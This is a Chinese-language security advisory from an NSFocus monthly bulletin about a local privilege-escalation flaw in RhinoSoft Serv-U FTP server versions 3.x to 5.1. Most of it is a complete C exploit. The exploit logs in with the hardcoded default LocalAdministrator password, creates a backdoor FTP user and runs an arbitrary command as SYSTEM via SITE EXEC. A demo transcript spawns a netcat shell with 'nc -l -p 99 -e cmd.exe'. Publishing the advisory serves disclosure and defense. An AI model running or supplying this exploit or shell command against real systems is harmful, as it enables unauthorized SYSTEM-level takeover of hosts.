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绿盟安全月刊->第51期->最新漏洞
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Serv-U本地权限提升漏洞

日期:2004-09-06

发布日期:2004-08-06
更新日期:2004-08-09

受影响系统:
RhinoSoft Serv-U 5.1.0.0
RhinoSoft Serv-U 5.0.0.9
RhinoSoft Serv-U 5.0.0.4
RhinoSoft Serv-U 5.0
RhinoSoft Serv-U 4.1.0.3
RhinoSoft Serv-U 4.1.0.11
RhinoSoft Serv-U 4.0.0.4
RhinoSoft Serv-U 4.0.0.0
RhinoSoft Serv-U 3.0.0.20
描述:
--------------------------------------------------------------------------------
Serv-U是一个Windows平台下使用非常广泛的FTP服务器软件。

Serv-U存在设计问题,本地攻击者可以利用这个漏洞以SYSTEM权限在系统上执行任意命令。

所有Serv-U存在默认本地管理员登录密码,这帐户只能在本地接口中连接,因此本地攻击者可以连接Serv-U并建立拥有执行权限的FTP用户,在这个用户建立后,连接FTP服务器并执行"SITE EXEC"命令,程序就会以SYSTEM权限执行。

<*来源:aT4r ins4n3 (at4r@ciberdreams.com)
  
  链接:http://marc.theaimsgroup.com/?l=full-disclosure&m=109196729111556&w=2
*>

测试方法:
--------------------------------------------------------------------------------

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

aT4r ins4n3 (at4r@ciberdreams.com)提供了如下测试方法:

/*
* Hax0rcitos proudly presents
* Serv-u Local Exploit >v3.x. (tested also against last version 5.1.0.0)
*
* All Serv-u Versions have default Login/password for local Administration.
* This account is only available to connect in the loopback interface, so a
* local user will be able to connect to Serv-u with this account and create
* an ftp user with execute rights. after the user is created, just connect
* to the ftp server and execute a raw "SITE EXEC" command. the program will
* be execute with SYSTEM privileges.
*
* Copyright (c) 2003-2004  Haxorcitos.com . All Rights Reserved.
*
* THIS PROGRAM IS FOR EDUCATIONAL PURPOSES *ONLY* IT IS PROVIDED "AS IS"
* AND WITHOUT ANY WARRANTY. COPYING, PRINTING, DISTRIBUTION, MODIFICATION
* WITHOUT PERMISSION OF THE AUTHOR IS STRICTLY PROHIBITED.
*
*
* Date:   10/2003
* Author: Andrés Tarascó Acunha
*
* Greetings to: #haxorcitos - #localhost and #!dsr blackxors =)
*
* Tested Against Serv-u 4.x and v5.1.0.0

         G:\exploit\serv-U\local>whoami
        INSANE\aT4r

        G:\exploit\serv-U\local>servulocal.exe "nc -l -p 99 -e cmd.exe"
        Serv-u >3.x Local Exploit by Haxorcitos

        <220 Serv-U FTP Server v5.0 for WinSock ready...
        >USER LocalAdministrator
        <331 User name okay, need password.
        ******************************************************
        >PASS #l@$ak#.lk;0@P
        <230 User logged in, proceed.
        ******************************************************
        >SITE MAINTENANCE
        ******************************************************
        [+] Creating New Domain...
        <200-DomainID=3
        220 Domain settings saved
        ******************************************************
        [+] Domain Haxorcitos:3 Created
        [+] Setting New Domain Online
        <220 Server command OK
        ******************************************************
        [+] Creating Evil User
        <200-User=haxorcitos
        200 User settings saved
        ******************************************************
        [+] Now Exploiting...
        >USER haxorcitos
        <331 User name okay, need password.
        ******************************************************
        >PASS whitex0r
        <230 User logged in, proceed.
        ******************************************************
        [+] Now Executing: nc -l -p 99 -e cmd.exe
        <220 Domain deleted
        ******************************************************
         G:\exploit\serv-U\local>nc localhost 99
        Microsoft Windows XP [Versión 5.1.2600]
        (C) Copyright 1985-2001 Microsoft Corp.

        C:\>whoami
        whoami
        NT AUTHORITY\SYSTEM
         C:\>
  */

#include <stdio.h>
#include <stdlib.h>
#include <winsock2.h>
#include <io.h>
#include <process.h>

//Responses
#define BANNER                  "220 "
#define USEROK                  "331 User name okay"
#define PASSOK                  "230 User logged in, proceed."
#define ADMOK                   "230-Switching to SYSTEM MAINTENANCE mode."
#define DOMAINID                "200-DomainID="
//Commands

#define XPLUSER                    "USER haxorcitos\r\n"
#define XPLPASSWORD                "PASS whitex0r\r\n"
#define USER                    "USER LocalAdministrator\r\n"
#define PASSWORD                "PASS #l@$ak#.lk;0@P\r\n"

#define MAINTENANCE             "SITE MAINTENANCE\r\n"
#define EXIT                    "QUIT\r\n"
char newdomain[]="-SETDOMAIN\r\n"
                 "-Domain=haxorcitos|0.0.0.0|2121|-1|1|0\r\n"
         "-TZOEnable=0\r\n"
         " TZOKey=\r\n";
/*               "-DynDNSEnable=0\r\n"
                 " DynIPName=\r\n";
*/
char deldomain[]="-DELETEDOMAIN\r\n"
                 "-IP=0.0.0.0\r\n"
                 " PortNo=2121\r\n";

char newuser[] =
                "-SETUSERSETUP\r\n"
                "-IP=0.0.0.0\r\n"
                "-PortNo=2121\r\n"
                "-User=haxorcitos\r\n"
                "-Password=whitex0r\r\n"
                "-HomeDir=c:\\\r\n"
                "-LoginMesFile=\r\n"
                "-Disable=0\r\n"
                "-RelPaths=1\r\n"
                "-NeedSecure=0\r\n"
                "-HideHidden=0\r\n"
                "-AlwaysAllowLogin=0\r\n"
                "-ChangePassword=0\r\n"
                "-QuotaEnable=0\r\n"
                "-MaxUsersLoginPerIP=-1\r\n"
                "-SpeedLimitUp=0\r\n"
                "-SpeedLimitDown=0\r\n"
                "-MaxNrUsers=-1\r\n"
                "-IdleTimeOut=600\r\n"
                "-SessionTimeOut=-1\r\n"
                "-Expire=0\r\n"
                "-RatioUp=1\r\n"
                "-RatioDown=1\r\n"
                "-RatiosCredit=0\r\n"
                "-QuotaCurrent=0\r\n"
                "-QuotaMaximum=0\r\n"
                "-Maintenance=None\r\n"
                "-PasswordType=Regular\r\n"
                "-Ratios=None\r\n"
                " Access=c:\\|RELP\r\n";

#define localport 43958
#define localip "127.0.0.1"

char cadena[1024];
int rec,domain;
/******************************************************************************/

void ParseCommands(int sock, char *data, int ShowSend, int showResponses,
char *response) {
send(sock,data,strlen(data),0);
if (ShowSend) printf(">%s",data);
Sleep(100);
do {
         rec=recv(sock,cadena,sizeof(cadena),0); cadena[rec]='\0';
         if (rec<=0) return;
         if (showResponses) printf("<%s",cadena);
         if (strncmp(cadena, DOMAINID,strlen(DOMAINID))==0)
                domain=atoi(cadena+strlen(DOMAINID));
//} while (strncmp(cadena,response,strlen(response))!=0);
} while (strstr(cadena,response)==NULL);
  printf("******************************************************\r\n");
}
/******************************************************************************/
int main(int argc, char* argv[])
{
    WSADATA ws;
        int sock,sock2;

        struct sockaddr_in haxorcitos;
        struct sockaddr_in xpl;

printf("Serv-u >3.x Local Exploit by Haxorcitos\r\n\r\n");
if (argc<2) {
        printf("USAGE:   ServuLocal.exe \"command\"\r\n");
        printf("Example: ServuLocal.exe \"nc.exe -l -p 99 -e cmd.exe\"");
         return(0);
}

        if    (WSAStartup( MAKEWORD(2,2), &ws )!=0) {
        printf(" [-] WSAStartup() error\n");
        exit(0);
    }

    haxorcitos.sin_family = AF_INET;
    haxorcitos.sin_port = htons(localport);
    haxorcitos.sin_addr.s_addr = inet_addr(localip);
        sock=socket (AF_INET, SOCK_STREAM, IPPROTO_TCP);
        connect(sock,( struct sockaddr *)&haxorcitos,sizeof(haxorcitos));
        rec=recv(sock,cadena,sizeof(cadena),0); cadena[rec]='\0';
        printf("<%s",cadena);

        ParseCommands(sock,USER,1,1,USEROK);
        ParseCommands(sock,PASSWORD,1,1,PASSOK);
        ParseCommands(sock,MAINTENANCE,1,0,"230 ");

        printf("[+] Creating New Domain...\r\n");
        ParseCommands(sock,newdomain,0,1,BANNER);
        printf("[+] Domain Haxorcitos:%i Created\n",domain);

/* Only for v5.x
        printf("[+] Setting New Domain Online\r\n");
        sprintf(cadena,"-SERVERCOMMAND\r\n-ID=%i\r\n
Command=DomainOnline\r\n",domain);
        ParseCommands(sock,cadena,0,1,BANNER);
*/
        printf("[+] Creating Evil User\r\n");
        ParseCommands(sock,newuser,0,1,"200 ");
        Sleep(1000);

        printf("[+] Now Exploiting...\r\n");
    xpl.sin_family = AF_INET;
    xpl.sin_port = htons(2121);
    xpl.sin_addr.s_addr = inet_addr(localip);
        sock2=socket (AF_INET, SOCK_STREAM, IPPROTO_TCP);
        connect(sock2,( struct sockaddr *)&xpl,sizeof(xpl));
        rec=recv(sock2,cadena,sizeof(cadena),0); cadena[rec]='\0';
        ParseCommands(sock2,XPLUSER,1,1,USEROK);
        ParseCommands(sock2,XPLPASSWORD,1,1,PASSOK);
        printf("[+] Now Executing: %s\r\n",argv[1]);
        sprintf(cadena,"site exec %s\r\n",argv[1]);
        send(sock2,cadena,strlen(cadena),0);
        shutdown(sock2,SD_BOTH);
        Sleep(100);
        ParseCommands(sock,deldomain,0,1,BANNER);
        send(sock,EXIT,strlen(EXIT),0);
        shutdown(sock,SD_BOTH);
        closesocket(sock);
        closesocket(sock2);

        return 0;
}
//---------------------------------------------------------------------------

建议:
--------------------------------------------------------------------------------
厂商补丁:

RhinoSoft
---------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

http://www.serv-u.com/
版权所有,未经许可,不得转载